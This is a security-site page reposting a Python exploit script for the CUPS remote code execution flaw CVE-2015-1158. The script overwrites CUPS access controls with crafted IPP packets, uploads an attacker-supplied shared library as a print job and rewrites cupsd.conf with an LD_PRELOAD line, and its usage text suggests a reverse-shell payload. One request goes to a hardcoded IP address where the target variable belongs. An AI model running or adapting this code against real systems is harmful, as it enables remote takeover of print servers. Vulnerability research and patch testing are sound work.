首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CUPS < 2.0.3 - Remote Command Execution
来源:github.com/0x00string 作者:0x00string 发布时间:2017-02-04  
#!/usr/bin/python
# Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution
# Google Dork: n/a
# Date: 2/2/17
# Exploit Author: @0x00string
# Vendor Homepage: cups.org
# Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2
# Version: <2.0.3
# Tested on: Ubuntu 14/15
# CVE : CVE-2015-1158
import os, re, socket, random, time, getopt, sys
from socket import *
from struct import *
 
def banner():
    print '''
             lol ty google
             0000000000000
          0000000000000000000   00
       00000000000000000000000000000
      0000000000000000000000000000000
    000000000             0000000000
   00000000               0000000000
  0000000                000000000000
 0000000               000000000000000
 000000              000000000  000000
0000000            000000000     000000
000000            000000000      000000
000000          000000000        000000
000000         00000000          000000
000000       000000000           000000
0000000    000000000            0000000
 000000   000000000             000000
 0000000000000000              0000000
  0000000000000               0000000
   00000000000              00000000
   00000000000            000000000
  0000000000000000000000000000000
   00000000000000000000000000000
     000  0000000000000000000
             0000000000000
              @0x00string
github.com/0x00string/oldays/CVE-2015-1158.py
'''
 
def usage ():
    print   ("python script.py <args>\n"
            "   -h, --help:             Show this message\n"
            "   -a, --rhost:            Target IP address\n"
            "   -b, --rport:            Target IPP service port\n"
            "   -c, --lib               /path/to/payload.so\n"
            "   -f, --stomp-only        Only stomp the ACL (no postex)\n"
            "\n"
            "Examples:\n"
            "python script.py -a 10.10.10.10 -b 631 -f\n"
            "python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\n")
    exit()
 
def pretty (t, m):
        if (t is "+"):
                print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n",
        elif (t is "-"):
                print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n",
        elif (t is "*"):
                print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n",
        elif (t is "!"):
                print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n",
 
def createDump (input):
        d, b, h = '', [], []
        u = list(input)
        for e in u:
                h.append(e.encode("hex"))
                if e == '0x0':
                        b.append('0')
                elif 30 > ord(e) or ord(e) > 128:
                        b.append('.')
                elif 30 < ord(e) or ord(e) < 128:
                        b.append(e)
 
        i = 0
        while i < len(h):
                if (len(h) - i ) >= 16:
                        d += ' '.join(h[i:i+16])
                        d += "         "
                        d += ' '.join(b[i:i+16])
                        d += "\n"
                        i = i + 16
                else:
                        d += ' '.join(h[i:(len(h) - 0 )])
                        pad = len(' '.join(h[i:(len(h) - 0 )]))
                        d += ' ' * (56 - pad)
                        d += ' '.join(b[i:(len(h) - 0 )])
                        d += "\n"
                        i = i + len(h)
 
        return d
 
class tcpsock:
    def __init__(self, sock=None):
        if sock is None:
            self.sock = socket(
            AF_INET, SOCK_STREAM)
            self.sock.settimeout(30)
        else:
            self.sock = sock
    def connect(self, host, port):
        self.sock.connect((host, int(port)))
    def tx(self, msg):
        self.sock.send(msg)
    def rx(self):
        tmp  = self.sock.recv(1024)
        msg = ""
        while tmp:
            msg += tmp
            tmp  = self.sock.recv(1024)
        return msg
 
def txrx (ip, port, proto, txpacket):
    if (proto is "tcp"):
        sock = tcpsock()
    elif (proto is "udp"):
        sock = udpsock()
    else:
        return None
    sock.connect(ip, port)
    sock.tx(txpacket)
    rxpacket = sock.rx()
    return rxpacket
 
def locatePrinters(rhost, rport="631"):
    request = ( "GET /printers HTTP/1.1\x0d\x0a"
        "Host: " + rhost + ":" + rport + "\x0d\x0a"
        "User-Agent: CUPS/2.0.2\x0d\x0a"
        "Connection: Close\x0d\x0a"
        "\x0d\x0a")
    response = txrx(rhost, int(rport), "tcp", request)
    if response is not None:
        m = re.search('<TR><TD><A HREF="(.+)">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)
        if m is not None:
            printer = m.group(1)
            pretty("+","printer found: " + printer)
    else:
        pretty("-","no printers")
        exit(1)
    return printer
 
def preparePayload(libpath):
    with open(libpath, 'rb') as f:
        payload = f.read()
    if payload is not None:
        pretty("*","Payload:\n" + createDump(payload))
    else:
        pretty("-","something went wrong")
        usage()
    return payload
 
def seedTarget(rhost, rport, printer, payload):
    i = random.randint(1,3)
    reqid = str(pack(">i",(i+2)))
    reqid2 = str(pack(">i",(i+3)))
    printer_uri = "ipp://" + rhost + ":" + str(rport) + printer
 
    create_job_packet = ("\x02\x00"
                         "\x00\x05"+
                         reqid+
                         "\x01"
                         "\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"
                         "\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"
                         "\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +
                         "\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"
                         "\x42"+"\x00\x08"+"job-name"+"\x00\x06"+"badlib"
                         "\x02"
                         "\x21"+"\x00\x06"+"copies"+"\x00\x04"+"\x00\x00\x00\x01"
                         "\x23"+"\x00\x0a"+"finishings"+"\x00\x04"+"\x00\x00\x00\x03"
                         "\x42"+"\x00\x10"+"job-cancel-after"+"\x00\x05"+"\x31\x30\x38\x30\x30"
                         "\x44"+"\x00\x0e"+"job-hold-until"+"\x00\x0a"+"indefinite"
                         "\x21"+"\x00\x0c"+"job-priority"+"\x00\x04"+"\x00\x00\x00\x32"
                         "\x42"+"\x00\x0a"+"job-sheets"+"\x00\x04"+"none"+"\x42"+"\x00\x00\x00\x04"+"none"
                         "\x21"+"\x00\x09"+"number-up"+"\x00\x04"+"\x00\x00\x00\x01"
                         "\x03")
    pretty("*","Sending createJob")
 
    http_header1 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"
                        "Content-Type: application/ipp\x0d\x0a"
                        "Host: " + rhost + ":" + str(rport) + "\x0d\x0a"
                        "User-Agent: CUPS/2.0.2\x0d\x0a"
                        "Connection: Close\x0d\x0a"
                        "Content-Length: " + str(len(create_job_packet) + 0) + "\x0d\x0a"
                        "\x0d\x0a")
 
    createJobRequest = http_header1 + create_job_packet
    blah = txrx(rhost,int(rport),"tcp",createJobRequest)
    if blah is not None:
        m = re.search("ipp://" + rhost + ":" + str(rport) + "/jobs/(\d+)",blah)
        if m is not None:
            jobid = m.group(1)
    else:
        pretty("-","something went wrong");
        exit()
 
    pretty("*","\n" + createDump(blah) + "\n")
    pretty("*", "Sending sendJob")
 
    send_document_packet = ("\x02\x00"
                            "\x00\x06"+
                            reqid2+
                            "\x01"
                            "\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"
                            "\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"
                            "\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +
                            "\x21"+"\x00\x06"+"job-id"+"\x00\x04"+ str(pack(">i", int(jobid))) +
                            "\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"
                            "\x42"+"\x00\x0d"+"document-name"+"\x00\x06"+"badlib"
                            "\x49"+"\x00\x0f"+"document-format"+"\x00\x18"+"application/octet-stream"
                            "\x22"+"\x00\x0d"+"last-document"+"\x00\x01"+"\x01"
                            "\x03"+
                            payload)
 
    http_header2 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"
                        "Content-Type: application/ipp\x0d\x0a"
                        "Host: " + rhost + ":" + str(rport) + "\x0d\x0a"
                        "User-Agent: CUPS/2.0.2\x0d\x0a"
                        "Connection: Close\x0d\x0a"
                        "Content-Length: " + str(len(send_document_packet) + 0) + "\x0d\x0a"
                        "\x0d\x0a")
 
    sendJobRequest = http_header2 + send_document_packet
    blah2 = txrx("172.20.32.3",631,"tcp",sendJobRequest)
    pretty("*","\n" + createDump(blah) + "\n")
    pretty("*","job id: " + jobid)
    return jobid
 
def stompACL(rhost, rport, printer):
    i = random.randint(1,1024)
    printer_url = "ipp://" + rhost + ":" + rport + printer
 
    admin_stomp = ("\x02\x00"      #   vers 2.0
                "\x00\x05"+     #   op id: Create Job (0x0005)
                str(pack(">i",(i+1)))+
                "\x01"      #   op attributes marker
                "\x47"      #   charset
                "\x00\x12"      #   name len: 18
                "attributes-charset"
                "\x00\x08"      #   val len: 8
                "us-ascii"
                "\x48"      #   natural language
                "\x00\x1b"      #   name len: 27
                "attributes-natural-language"
                "\x00\x06"      #   val len: 6
                "/admin"
                "\x45"      #   printer-uri
                "\x00\x0b"      #   name len 11
                "printer-uri" +
                str(pack(">h", len(printer_url))) + printer_url +
                "\x42"      #   name without lang
                "\x00\x14"      #   name len: 20
                "requesting-user-name"
                "\x00\x06"      #   val len: 6
                "/admin"
                "\x02"      #   job attrs marker
                "\x21"      #   integer
                "\x00\x06"      #   name len: 6
                "copies"
                "\x00\x04"      #   val len: 4
                "\x00\x00\x00\x01"  #   1
                "\x42"      #   name w/o lang
                "\x00\x19"      #   name len: 25
                "job-originating-host-name"
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x36"      #   nwl
                "\x00\x00"      #   name len: 0
                "\x00\x16"      #   val len: 22
                "\x00\x06"      #   length
                "/admin"
                "\x00\x0c"
                "BBBBBBBBBBBB"
                "\x03")      #   end of attributes
 
    conf_stomp = ("\x02\x00"        #   vers 2.0
                "\x00\x05"+     #   op id: Create Job (0x0005)
                str(pack(">i",(i+2)))+
                "\x01"      #   op attributes marker
                "\x47"      #   charset
                "\x00\x12"      #   name len: 18
                "attributes-charset"
                "\x00\x08"      #   val len: 8
                "us-ascii"
                "\x48"      #   natural language
                "\x00\x1b"      #   name len: 27
                "attributes-natural-language"
                "\x00\x0b"      #   val len: 11
                "/admin/conf"
                "\x45"      #   printer-uri
                "\x00\x0b"      #   name len 11
                "printer-uri" +
                str(pack(">h", len(printer_url))) + printer_url +
                "\x42"      #   name without lang
                "\x00\x14"      #   name len: 20
                "requesting-user-name"
                "\x00\x0b"      #   val len: 11
                "/admin/conf"
                "\x02"      #   job attrs marker
                "\x21"      #   integer
                "\x00\x06"      #   name len: 6
                "copies"
                "\x00\x04"      #   val len: 4
                "\x00\x00\x00\x01"  #   1
                "\x42"      #   name w/o lang
                "\x00\x19"      #   name len: 25
                "job-originating-host-name"
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x42"      #   nwol
                "\x00\x00"      #   name len: 0
                "\x00\x0c"      #   val len: 12
                "AAAAAAAAAAAA"
                "\x36"      #   nwl
                "\x00\x00"      #   name len: 0
                "\x00\x1b"      #   val len: 27
                "\x00\x0b"      #   length
                "/admin/conf"
                "\x00\x0c"
                "BBBBBBBBBBBB"
                "\x03")      #   end of attributes
 
    http_header1 = ("POST " + printer + " HTTP/1.1\x0d\x0a"
                    "Content-Type: application/ipp\x0d\x0a"
                    "Host: " + rhost + ":" + rport + "\x0d\x0a"
                    "User-Agent: CUPS/2.0.2\x0d\x0a"
                    "Connection: Close\x0d\x0a"
                    "Content-Length: " + str(len(admin_stomp)) + "\x0d\x0a"
                    "\x0d\x0a")
 
    http_header2 = ("POST " + printer + " HTTP/1.1\x0d\x0a"
                    "Content-Type: application/ipp\x0d\x0a"
                    "Host: " + rhost + ":" + rport + "\x0d\x0a"
                    "User-Agent: CUPS/2.0.2\x0d\x0a"
                    "Connection: Close\x0d\x0a"
                    "Content-Length: " + str(len(conf_stomp)) + "\x0d\x0a"
                    "\x0d\x0a")
 
    pretty("*","stomping ACL")
    pretty("*",">:\n" + createDump(http_header1 + admin_stomp))
    pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header1 + admin_stomp)))
    time.sleep(1)
    pretty("*",">:\n" + createDump(http_header2 + conf_stomp))
    pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header2 + conf_stomp)))
 
    http_header_check = ("GET /admin HTTP/1.1\x0d\x0a"
                        "Host: " + rhost + ":" + rport + "\x0d\x0a"
                        "User-Agent: CUPS/2.0.2\x0d\x0a"
                        "Connection: Close\x0d\x0a"
                        "\x0d\x0a")
    pretty("*","checking /admin")
    pretty("*",">:\n" + createDump(http_header_check))
    res = txrx(rhost,rport,"tcp",http_header_check)
    pretty("*","<:\n" + createDump(res))
    m = re.search('200 OK', res)
    if m is not None:
        pretty("+","ACL stomp successful")
    else:
        pretty("-","exploit failed")
        exit(1)
 
 
def getConfig(rhost, rport):
    i = random.randint(1,1024)
    original_config = ""
    http_request = ("GET /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"
                    "Host: " + rhost + ":" + rport + "\x0d\x0a"
                    "User-Agent: CUPS/2.0.2\x0d\x0a"
                    "Connection: Close\x0d\x0a"
                    "\x0d\x0a")
 
    pretty("*","grabbing configuration file....")
    res = txrx(rhost,rport,"tcp",http_request)
    res_array = res.split("\x0d\x0a\x0d\x0a")
    original_config = res_array[1]
    pretty("*","config:\n" + original_config + "\n")
    return original_config
 
def putConfig(rhost, rport, config):
    http_request = ("PUT /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"
                    "Content-Type: application/ipp\x0d\x0a"
                    "Host: " + rhost + ":" + rport + "\x0d\x0a"
                    "User-Agent: CUPS/2.0.2\x0d\x0a"
                    "Connection: Keep-Alive\x0d\x0a"
                    "Content-Length: " + str(len(config)) + "\x0d\x0a"
                    "\x0d\x0a")
    pretty("*","overwriting config...")
    pretty("*",">:\n" + createDump(http_request + config))
    pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_request + config)))
 
def poisonConfig(config, name):
    config = config + "\x0a\x0aSetEnv LD_PRELOAD /var/spool/cups/d00" + name + "-001\x0a"
    return config
 
def main():
    rhost = None;
    noshell = None;
    options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:f:h:', ['rhost=','rport=','lib=','stomp-only','help',])
    for opt, arg in options:
        if opt in ('-h', '--help'):
            usage()
        elif opt in ('-a','--rhost'):
            rhost = arg;
        elif opt in ('-b','--rport'):
            rport = arg;
        elif opt in ('-c','--lib'):
            libpath = arg;
        elif opt in ('-f','--stomp-only'):
            noshell = 1;
    banner()
    if rhost is None or rport is None:
        usage()
    pretty("*","locate available printer")
    printer = locatePrinters(rhost, rport)
    pretty("*","stomp ACL")
    stompACL(rhost, rport, printer)
    if (noshell is not None):
        pretty("*","fin")
        exit(0)
    pretty("*","prepare payload")
    payload = preparePayload(libpath)
    pretty("*","spray payload")
    jobid = seedTarget(rhost, rport, printer, payload)
    pretty("*","grab original config")
    OG_config = getConfig(rhost, rport)
    pretty("*","generate poison config")
    evil_config = poisonConfig(OG_config, jobid)
    pretty("*","upload poison config")
    putConfig(rhost, rport, evil_config)
    pretty("*","fin")
    exit(0);
 
if __name__ == "__main__":
    main()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cisco WebEx Chrome Extension R
·Netwave IP Camera - Password D
·TrueOnline / ZyXEL P660HN-T v2
·Debian 9 ntfs-3g - Privilege E
·TrueOnline / Billion 5200W-T R
·IVPN Client 2.6.1 - Privilege
·TrueOnline / ZyXEL P660HN-T v1
·OpenBSD HTTPd < 6.0 - Memory E
·WordPress 4.7.0/4.7.1 - Unauth
·Zookeeper 3.5.2 - Denial of Se
·WordPress 4.7.0/4.7.1 - Unauth
·Zoom Player 12.7 / 13 Buffer O
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved